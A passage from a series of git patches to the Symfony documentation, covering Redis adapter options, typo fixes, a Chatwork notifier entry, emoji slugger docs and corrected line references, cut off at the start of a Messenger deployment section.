         ]
 
     );
@@ -146,15 +173,11 @@ array of ``key => value`` pairs representing option names and their respective v
 Available Options
 ~~~~~~~~~~~~~~~~~
 
-``class`` (type: ``string``)
+``class`` (type: ``string``, default: ``null``)
     Specifies the connection library to return, either ``\Redis`` or ``\Predis\Client``.
     If none is specified, it will return ``\Redis`` if the ``redis`` extension is
-    available, and ``\Predis\Client`` otherwise.
-
-``lazy`` (type: ``bool``, default: ``false``)
-    Enables or disables lazy connections to the backend. It's ``false`` by
-    default when using this as a stand-alone component and ``true`` by default
-    when using it inside a Symfony application.
+    available, and ``\Predis\Client`` otherwise. Explicitly set this to ``\Predis\Client`` for Sentinel if you are
+    running into issues when retrieving master information.
 
 ``persistent`` (type: ``int``, default: ``0``)
     Enables or disables use of persistent connections. A value of ``0`` disables persistent
@@ -163,6 +186,10 @@ Available Options
 ``persistent_id`` (type: ``string|null``, default: ``null``)
     Specifies the persistent id string to use for a persistent connection.
 
+``timeout`` (type: ``int``, default: ``30``)
+    Specifies the time (in seconds) used to connect to a Redis server before the
+    connection attempt times out.
+
 ``read_timeout`` (type: ``int``, default: ``0``)
     Specifies the time (in seconds) used when performing read operations on the underlying
     network resource before the operation times out.
@@ -175,9 +202,28 @@ Available Options
     Specifies the `TCP-keepalive`_ timeout (in seconds) of the connection. This
     requires phpredis v4 or higher and a TCP-keepalive enabled server.
 
-``timeout`` (type: ``int``, default: ``30``)
-    Specifies the time (in seconds) used to connect to a Redis server before the
-    connection attempt times out.
+``lazy`` (type: ``bool``, default: ``null``)
+    Enables or disables lazy connections to the backend. It's ``false`` by
+    default when using this as a stand-alone component and ``true`` by default
+    when using it inside a Symfony application.
+
+``redis_cluster`` (type: ``bool``, default: ``false``)
+    Enables or disables redis cluster. The actual value passed is irrelevant as long as it passes loose comparison
+    checks: `redis_cluster=1` will suffice.
+
+``redis_sentinel`` (type: ``string``, default: ``null``)
+    Specifies the master name connected to the sentinels.
+
+``dbindex`` (type: ``int``, default: ``0``)
+    Specifies the database index to select.
+
+``failover`` (type: ``string``, default: ``none``)
+    Specifies failover for cluster implementations. For ``\RedisCluster`` valid options are ``none`` (default),
+    ``error``, ``distribute`` or ``slaves``.  For ``\Predis\ClientInterface`` valid options are ``slaves``
+    or ``distribute``.
+
+``ssl`` (type: ``bool``, default: ``null``)
+    SSL context options. See `php.net/context.ssl`_ for more information.
 
 .. note::
 
@@ -225,3 +271,4 @@ Read more about this topic in the offical `Redis LRU Cache Documentation`_.
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
 .. _`Redis Sentinel`: https://redis.io/topics/sentinel
 .. _`Redis LRU Cache Documentation`: https://redis.io/topics/lru-cache
+.. _`php.net/context.ssl`: https://php.net/context.ssl

From 6efbda8501098c3f38f64afeb01f9a59c74227ce Mon Sep 17 00:00:00 2001
From: Yassine Guedidi <yassine@guedidi.com>
Date: Sat, 27 Aug 2022 00:26:46 +0200
Subject: [PATCH 2276/5766] Fix type in alert comment about accessing session
 in constructor

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 9ee5ebea31e..c4c6714c226 100644
--- a/session.rst
+++ b/session.rst
@@ -150,7 +150,7 @@ if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\Re
         {
             $this->requestStack = $requestStack;
 
-            // Accessing the session in the constructor is *NOT* reommended, since
+            // Accessing the session in the constructor is *NOT* recommended, since
             // it might not be accessible yet or lead to unwanted side-effects
             // $this->session = $requestStack->getSession();
         }

From 2a940b2efe58017085eb9c88b7cb993979a44b7e Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 27 Aug 2022 12:36:42 +0200
Subject: [PATCH 2277/5766] [Form] Add doc link

Add doc link for uuid & ulid
---
 reference/forms/types/map.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 19f8ed4dc63..4496fd1d377 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -55,8 +55,8 @@ These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
 UID Fields
 ~~~~~~~~~~
 
-* UuidType
-* UlidType
+* :doc:`UuidType </reference/forms/types/uuid>`
+* :doc:`UlidType </reference/forms/types/ulid>`
 
 Field Groups
 ~~~~~~~~~~~~

From 5799572d338a321a52910334df736c3ea4dacf03 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 27 Aug 2022 18:44:13 +0200
Subject: [PATCH 2278/5766] remove form types from TOC that have been
 introduced in later versions

---
 reference/forms/types/map.rst.inc | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 9b47a1caaf5..52d09ade07b 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -53,12 +53,6 @@ These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
 * `CropperType`_ (using Cropper.js)
 * `DropzoneType`_
 
-UID Fields
-~~~~~~~~~~
-
-* UuidType
-* UlidType
-
 Field Groups
 ~~~~~~~~~~~~
 

From 6a20d08abe28f843ef8e2d778e47c53f2441df11 Mon Sep 17 00:00:00 2001
From: Ippei Sumida <ippey.s@gmail.com>
Date: Fri, 26 Aug 2022 17:03:57 +0900
Subject: [PATCH 2279/5766] [Notifier] Add Chatwork Notifier Bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 396a5f8dee2..10c603b9f49 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -180,6 +180,7 @@ integration with these chat services:
 Service         Package                               DSN
 ==============  ====================================  =============================================================================
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Chatwork        ``symfony/chatwork-notifier``         ``chatwork://API_TOKEN@default?room_id=ID``
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
@@ -198,7 +199,7 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
 .. versionadded:: 6.2
 
-    The Zendesk integration was introduced in Symfony 6.2.
+    The Zendesk and Chatwork integration were introduced in Symfony 6.2.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 8031c558aed76b8ec3d2ed42ff38fbbd37646e9d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 27 Aug 2022 19:05:24 +0200
Subject: [PATCH 2280/5766] remove duplicated code block

---
 reference/constraints/Collection.rst | 23 -----------------------
 1 file changed, 23 deletions(-)

diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index c5cd896f47e..7ad50771226 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -184,29 +184,6 @@ you can do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-attributes
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            #[Assert\Collection(
-                fields: [
-                    'personal_email' => new Assert\Required([
-                        new Assert\NotBlank,
-                        new Assert\Email,
-                    ]),
-                    'alternate_email' => new Assert\Optional(
-                        new Assert\Email
-                    ),
-                ],
-            )]
-            protected $profileData = ['personal_email' => 'email@example.com'];
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php

From c37c05226821ebc40a836fedf50550a82b33f18c Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Sun, 28 Aug 2022 22:43:27 +0200
Subject: [PATCH 2281/5766] Proper line numbers for a Basic Controller example

The lines that describe the method signature and the method return value (lines `12` and `16`, respectively), should be `10` and `14` since Symfony version `6.0`.
---
 controller.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index e72b45a93c5..63d68262a1f 100644
--- a/controller.rst
+++ b/controller.rst
@@ -59,10 +59,10 @@ This controller is pretty straightforward:
 * *line 7*: The class can technically be called anything, but it's suffixed
   with ``Controller`` by convention.
 
-* *line 12*: The action method is allowed to have a ``$max`` argument thanks to the
+* *line 10*: The action method is allowed to have a ``$max`` argument thanks to the
   ``{max}`` :doc:`wildcard in the route </routing>`.
 
-* *line 16*: The controller creates and returns a ``Response`` object.
+* *line 14*: The controller creates and returns a ``Response`` object.
 
 .. index::
    single: Controller; Routes and controllers

From b41941dd68526ed861617930ec4caf7a72731986 Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Mon, 29 Aug 2022 14:26:42 +0200
Subject: [PATCH 2282/5766] [Form] Fix Bootstrap 5 section indentation

---
 form/bootstrap5.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 1ff693a753f..5647e003593 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -101,7 +101,7 @@ For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
 Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 
 Inline Checkboxes and Radios
-----------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you want to render your checkbox or radio fields `inline`_, you can add
 the ``checkbox-inline`` or ``radio-inline`` class (depending on your Symfony
@@ -138,7 +138,7 @@ Form type or ``ChoiceType`` configuration) to the label class.
         }) }}
 
 Switches
-________
+~~~~~~~~
 
 Bootstrap 5 allows to render checkboxes as `switches`_. You can enable this
 feature on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch``
@@ -178,7 +178,7 @@ class to the label:
     Switches only work with **checkbox**.
 
 Input group
-___________
+-----------
 
 To create `input group`_ in your Symfony Form, simply add the ``input-group``
 class to the ``row_attr`` option.

From d7bdfe91cbb78cbd76d1b5ccbc9355e835fd9d2b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Krzysztof=20Nizio=C5=82?= <kniziol@gmail.com>
Date: Mon, 29 Aug 2022 15:57:42 +0200
Subject: [PATCH 2283/5766] Fix typos of the Dynamic Form Modification document

---
 form/dynamic_form_modification.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 414a7023768..3937f5c7b63 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -230,7 +230,7 @@ Using an event listener, your form might look like this::
     }
 
 The problem is now to get the current user and create a choice field that
-contains only this user's friends. This can be done injecting the ``Security``
+contains only this user's friends. This can be done by injecting the ``Security``
 service into the form type so you can get the current user object::
 
     use Symfony\Component\Security\Core\Security;
@@ -490,7 +490,7 @@ The type would now look like::
                     $sport = $event->getForm()->getData();
 
                     // since we've added the listener to the child, we'll have to pass on
-                    // the parent to the callback functions!
+                    // the parent to the callback function!
                     $formModifier($event->getForm()->getParent(), $sport);
                 }
             );
@@ -510,7 +510,7 @@ exactly the same things on a given form.
     the listener is bound to, but it allows modifications to its parent.
 
 One piece that is still missing is the client-side updating of your form after
-the sport is selected. This should be handled by making an AJAX call back to
+the sport is selected. This should be handled by making an AJAX callback to
 your application. Assume that you have a sport meetup creation controller::
 
     // src/Controller/MeetupController.php

From da4d3dabc8bbbc01810c2b61738d73bb551880b7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Wed, 17 Aug 2022 15:44:02 +0200
Subject: [PATCH 2284/5766] [String][Intl] Document emoji

---
 components/intl.rst   | 18 +++++++++++++++++-
 components/string.rst | 40 +++++++++++++++++++++++++++++++++-------
 2 files changed, 50 insertions(+), 8 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 1a8ae2bbf0b..8166a18b1a7 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -385,9 +385,25 @@ their textual representation in all languages based on the `Unicode CLDR dataset
     $transliterator->transliterate('Menus with 🍕 or 🍝');
     // => 'Menus with піца or спагеті'
 
+The ``EmojiTransliterator`` class also provides two extra catalogues: ``github``
+and ``slack`` that converts any emojis to the corresponding short code in the
+respective platforms::
+
+    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
+
+    // describe emojis in Slack short code
+    $transliterator = EmojiTransliterator::create('slack');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
+    // describe emojis in Github short code
+    $transliterator = EmojiTransliterator::create('github');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
 .. tip::
 
-    Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger>`
+    Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>`
     to improve the slugs of contents that include emojis (e.g. for URLs).
 
 Learn more
diff --git a/components/string.rst b/components/string.rst
index 455ef90eafe..098042f9465 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -451,8 +451,6 @@ letter A with ring above"*) or a sequence of two code points (``U+0061`` =
     u('å')->normalize(UnicodeString::NFD);
     u('å')->normalize(UnicodeString::NFKD);
 
-.. _string-slugger:
-
 Slugger
 -------
 
@@ -488,11 +486,6 @@ another separator as the second argument::
     $slug = $slugger->slug('Wôrķšƥáçè ~~sèťtïñğš~~', '/');
     // $slug = 'Workspace/settings'
 
-.. tip::
-
-    Combine this slugger with the :ref:`Symfony emoji transliterator <component-intl-emoji-transliteration>`
-    to improve the slugs of contents that include emojis (e.g. for URLs).
-
 The slugger transliterates the original string into the Latin script before
 applying the other transformations. The locale of the original string is
 detected automatically, but you can define it explicitly::
@@ -526,6 +519,39 @@ the injected slugger is the same as the request locale::
         }
     }
 
+.. _string-slugger-emoji:
+
+Slug Emojis
+~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The Emoji transliteration feature was introduced in Symfony 6.2.
+
+You can transform any emojis into a textual representation::
+
+    use Symfony\Component\String\Slugger\AsciiSlugger;
+
+    $slugger = new AsciiSlugger();
+    $slugger = $slugger->withEmoji();
+
+    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁 go to 🏞️', '-', 'en');
+    // $slug = 'a-grinning-cat-black-cat-and-a-lion-go-to-national-park';
+
+    $slug = $slugger->slug('un 😺, 🐈‍⬛, et un 🦁 vont au 🏞️', '-', 'fr');
+    // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
+
+If you want to use a specific locale for the emoji, or to use the shorts code
+from `github` or `slack`, use the first argument of ``withEmoji()`` method::
+
+    use Symfony\Component\String\Slugger\AsciiSlugger;
+
+    $slugger = new AsciiSlugger();
+    $slugger = $slugger->withEmoji('github'); // or "en", or "fr", etc.
+
+    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
+    // $slug = 'a-smiley-cat-black-cat-and-a-lion';
+
 .. _string-inflector:
 
 Inflector

From ff84f9dd05052d81c559ee6727559a08f14d64eb Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Fri, 19 Aug 2022 18:30:29 +0200
Subject: [PATCH 2285/5766] declare the foo_bar logger

---
 logging/channels_handlers.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index ae0567fd551..aa4a64dab69 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -137,7 +137,7 @@ You can also configure additional channels without the need to tag your services
 
         # config/packages/prod/monolog.yaml
         monolog:
-            channels: ['foo', 'bar']
+            channels: ['foo', 'bar', 'foo_bar']
 
     .. code-block:: xml
 
@@ -153,6 +153,7 @@ You can also configure additional channels without the need to tag your services
             <monolog:config>
                 <monolog:channel>foo</monolog:channel>
                 <monolog:channel>bar</monolog:channel>
+                <monolog:channel>foo_bar</monolog:channel>
             </monolog:config>
         </container>
 
@@ -162,7 +163,7 @@ You can also configure additional channels without the need to tag your services
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
-            $monolog->channels(['foo', 'bar']);
+            $monolog->channels(['foo', 'bar', 'foo_bar']);
         };
 
 Symfony automatically registers one service per channel (in this example, the

From 75d50a72ba1815a677eeb932d069b16e721f645d Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 29 Aug 2022 10:38:12 -0400
Subject: [PATCH 2286/5766] Adding ux-vue to UX library list

---
 frontend/_ux-libraries.rst.inc | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index aaf03138844..8ca7eb5ca3b 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -18,6 +18,7 @@
 * `ux-twig-component`_: Build Twig Components Backed by a PHP Class
   (`see demo <https://ux.symfony.com/twig-component>`_)
 * `ux-typed`_: Integration with `Typed`_ (`see demo <https://ux.symfony.com/typed>`_)
+* `ux-vue`_: Render `Vue`_ component from Twig (`see demo <https://ux.symfony.com/vue>`_)
 
 .. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
@@ -31,8 +32,10 @@
 .. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
 .. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
 .. _`ux-typed`: https://symfony.com/bundles/ux-typed/current/index.html
+.. _`ux-vue`: https://symfony.com/bundles/ux-vue/current/index.html
 .. _`Chart.js`: https://www.chartjs.org/
 .. _`Swup`: https://swup.js.org/
 .. _`React`: https://reactjs.org/
 .. _`Turbo Drive`: https://turbo.hotwired.dev/
 .. _`Typed`: https://github.com/mattboldt/typed.js/
+.. _`Vue`: https://vuejs.org/

From e4fd5add12073f03eb11c7ead68d794212f823db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 31 Aug 2022 16:41:15 +0200
Subject: [PATCH 2287/5766] Minor tweak

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 96eadb96e1d..69c7c01ae0f 100644
--- a/security.rst
+++ b/security.rst
@@ -2414,7 +2414,7 @@ You can use ``IS_AUTHENTICATED`` anywhere roles are used: like
 user that has logged in will have this. Actually, there are some special attributes
 like this:
 
-* ``IS_AUTHENTICATED_REMEMBERED``: Just like ``IS_AUTHENTICATED``, *all* logged in users have this, even
+* ``IS_AUTHENTICATED_REMEMBERED``: *all* logged in users have this, even
   if they are logged in because of a "remember me cookie". Even if you don't
   use the :doc:`remember me functionality </security/remember_me>`,
   you can use this to check if the user is logged in.

From 6e6bef4fc640be9381eff5e0662df1f263aa1ed5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 31 Aug 2022 16:58:22 +0200
Subject: [PATCH 2288/5766] Minor tweaks

---
 components/intl.rst   | 4 ++--
 components/string.rst | 6 +++---
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 8166a18b1a7..c4dd2aba3df 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -386,8 +386,8 @@ their textual representation in all languages based on the `Unicode CLDR dataset
     // => 'Menus with піца or спагеті'
 
 The ``EmojiTransliterator`` class also provides two extra catalogues: ``github``
-and ``slack`` that converts any emojis to the corresponding short code in the
-respective platforms::
+and ``slack`` that converts any emojis to the corresponding short code in those
+platforms::
 
     use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
 
diff --git a/components/string.rst b/components/string.rst
index 098042f9465..0df4ec0ef08 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -528,7 +528,7 @@ Slug Emojis
 
     The Emoji transliteration feature was introduced in Symfony 6.2.
 
-You can transform any emojis into a textual representation::
+You can transform any emojis into their textual representation::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 
@@ -541,8 +541,8 @@ You can transform any emojis into a textual representation::
     $slug = $slugger->slug('un 😺, 🐈‍⬛, et un 🦁 vont au 🏞️', '-', 'fr');
     // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
 
-If you want to use a specific locale for the emoji, or to use the shorts code
-from `github` or `slack`, use the first argument of ``withEmoji()`` method::
+If you want to use a specific locale for the emoji, or to use the short codes
+from GitHub or Slack, use the first argument of ``withEmoji()`` method::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 

From 9a7bb8c60eaada4803af7e0fce86240dd994e18e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 1 Sep 2022 08:51:55 +0200
Subject: [PATCH 2289/5766] Fix: Linebreak

---
 components/lock.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index f88688f62c3..cd783ff6d94 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -77,7 +77,8 @@ method can be safely called repeatedly, even if the lock is already acquired.
 Serializing Locks
 ------------------
 
-The :class:`Symfony\\Component\\Lock\\Key` contains the state of the :class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
+The :class:`Symfony\\Component\\Lock\\Key` contains the state of the
+:class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
 allows the user to begin a long job in a process by acquiring the lock, and
 continue the job in another process using the same lock::
 

From 80034dd0ed97446de8829e66da5266c4e12c9ca7 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Thu, 1 Sep 2022 14:10:53 +0200
Subject: [PATCH 2290/5766] Method getCharset with proper returning type

The method `getCharset` implemented by the example should return `string` type, like the `Symfony\Component\HttpKernel\Kernel` abstract class requires.
---
 reference/configuration/kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 1c57afed784..f61f52fcc35 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -33,7 +33,7 @@ charset::
 
     class Kernel extends BaseKernel
     {
-        public function getCharset()
+        public function getCharset(): string
         {
             return 'ISO-8859-1';
         }

From 0cc3844816a30face9c62a3381cd8a1935e2553d Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Thu, 1 Sep 2022 17:34:14 +0200
Subject: [PATCH 2291/5766] Tweak validator configuration for
 attributes/annotations

---
 components/validator/resources.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index cd02404f765..6347c296217 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -106,15 +106,15 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method
-and then call ``addDefaultDoctrineAnnotationReader()`` to use Doctrine's
-annotation reader::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method.
+If you use annotations instead of attributes, it's also required to call
+``addDefaultDoctrineAnnotationReader()`` to use Doctrine's annotation reader::
 
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping(true)
-        ->addDefaultDoctrineAnnotationReader()
+        ->enableAnnotationMapping()
+        ->addDefaultDoctrineAnnotationReader()  // Only if annotations are used
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call

From 7a67d8fd137df5cfb166456628a2080690fad8f8 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 2 Sep 2022 19:18:06 +0200
Subject: [PATCH 2292/5766] Remove obsolete warning

---
 components/config/resources.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/config/resources.rst b/components/config/resources.rst
index 73d28a5db78..99e20093402 100644
--- a/components/config/resources.rst
+++ b/components/config/resources.rst
@@ -4,13 +4,6 @@
 Loading Resources
 =================
 
-.. caution::
-
-    The ``IniFileLoader`` parses the file contents using the
-    :phpfunction:`parse_ini_file` function. Therefore, you can only set
-    parameters to string values. To set parameters to other data types
-    (e.g. boolean, integer, etc), the other loaders are recommended.
-    
 Loaders populate the application's configuration from different sources
 like YAML files. The Config component defines the interface for such
 loaders. The :doc:`Dependency Injection </components/dependency_injection>`

From 1d5d3d27de0287693b6741b7efd63f4ebbfc7c12 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 20 Jun 2022 18:46:54 +0200
Subject: [PATCH 2293/5766] Changing `monolog.logger` to `logger`

---
 service_container.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index b976736f9d6..9d16808f6ca 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -57,19 +57,21 @@ What other services are available? Find out by running:
 
       # this is just a *small* sample of the output...
 
-      Describes a logger instance.
-      Psr\Log\LoggerInterface (monolog.logger)
+      Autowirable Types
+      =================
 
-      Request stack that controls the lifecycle of requests.
-      Symfony\Component\HttpFoundation\RequestStack (request_stack)
+       The following classes & interfaces can be used as type-hints when autowiring:
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
+       Describes a logger instance.
+       Psr\Log\LoggerInterface (logger)
 
-      RouterInterface is the interface that all Router classes must implement.
-      Symfony\Component\Routing\RouterInterface (router.default)
+       Request stack that controls the lifecycle of requests.
+       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      [...]
+       RouterInterface is the interface that all Router classes must implement.
+       Symfony\Component\Routing\RouterInterface (router.default)
+
+       [...]
 
 When you use these type-hints in your controller methods or inside your
 :ref:`own services <service-container-creating-service>`, Symfony will automatically

From 212e979d84d592ce49967d5af67affdf046a2e95 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Mon, 5 Sep 2022 20:37:19 +0200
Subject: [PATCH 2294/5766] Proper line numbers on Doctrine Persisting example

Fixing the lines references for the Doctrine Persisting Object example.
---
 doctrine.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index c821a5dff22..c7c5fb86b80 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -394,21 +394,21 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 14** The ``ManagerRegistry $doctrine`` argument tells Symfony to
+* **line 13** The ``ManagerRegistry $doctrine`` argument tells Symfony to
   :ref:`inject the Doctrine service <services-constructor-injection>` into the
   controller method.
 
-* **line 16** The ``$doctrine->getManager()`` method gets Doctrine's
+* **line 15** The ``$doctrine->getManager()`` method gets Doctrine's
   *entity manager* object, which is the most important object in Doctrine. It's
   responsible for saving objects to, and fetching objects from, the database.
 
-* **lines 18-21** In this section, you instantiate and work with the ``$product``
+* **lines 17-20** In this section, you instantiate and work with the ``$product``
   object like any other normal PHP object.
 
-* **line 24** The ``persist($product)`` call tells Doctrine to "manage" the
+* **line 23** The ``persist($product)`` call tells Doctrine to "manage" the
   ``$product`` object. This does **not** cause a query to be made to the database.
 
-* **line 27** When the ``flush()`` method is called, Doctrine looks through
+* **line 26** When the ``flush()`` method is called, Doctrine looks through
   all of the objects that it's managing to see if they need to be persisted
   to the database. In this example, the ``$product`` object's data doesn't
   exist in the database, so the entity manager executes an ``INSERT`` query,

From 4046869d140d53b7109e464181cf42377cd7e395 Mon Sep 17 00:00:00 2001
From: Luca Lorenzini <1146449+b1n01@users.noreply.github.com>
Date: Tue, 6 Sep 2022 11:43:54 +0200
Subject: [PATCH 2295/5766] Updated SymfonyCloud link

Fixing the URL to the SymfonyCloud environment variables documentation page
---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index dfc5eb8a9ac..e7f2680e917 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -955,4 +955,4 @@ And all the other topics related to configuration:
 .. _`Learn the XML syntax`: https://en.wikipedia.org/wiki/XML
 .. _`environment variables`: https://en.wikipedia.org/wiki/Environment_variable
 .. _`symbolic links`: https://en.wikipedia.org/wiki/Symbolic_link
-.. _`utilities to manage env vars`: https://symfony.com/doc/master/cloud/cookbooks/env.html
+.. _`utilities to manage env vars`: https://symfony.com/doc/current/cloud/env.html

From 09fd70c00738bb65dc32b5e11c7774ff049e8b74 Mon Sep 17 00:00:00 2001
From: Tom Van Looy <tom@ctors.net>
Date: Mon, 27 Apr 2020 17:26:57 +0200
Subject: [PATCH 2296/5766] Messenger process managers

Add information about mysql timeouts, supervisor FATAL, systemd user services.
Add docs for #13617
---
 messenger.rst | 145 +++++++++++++++++++++++++++++++++++++++++++++++---
 1 file changed, 139 insertions(+), 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0194b11fd11..f1b4b256aad 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -486,23 +486,30 @@ Deploying to Production
 
 On production, there are a few important things to think about:
 
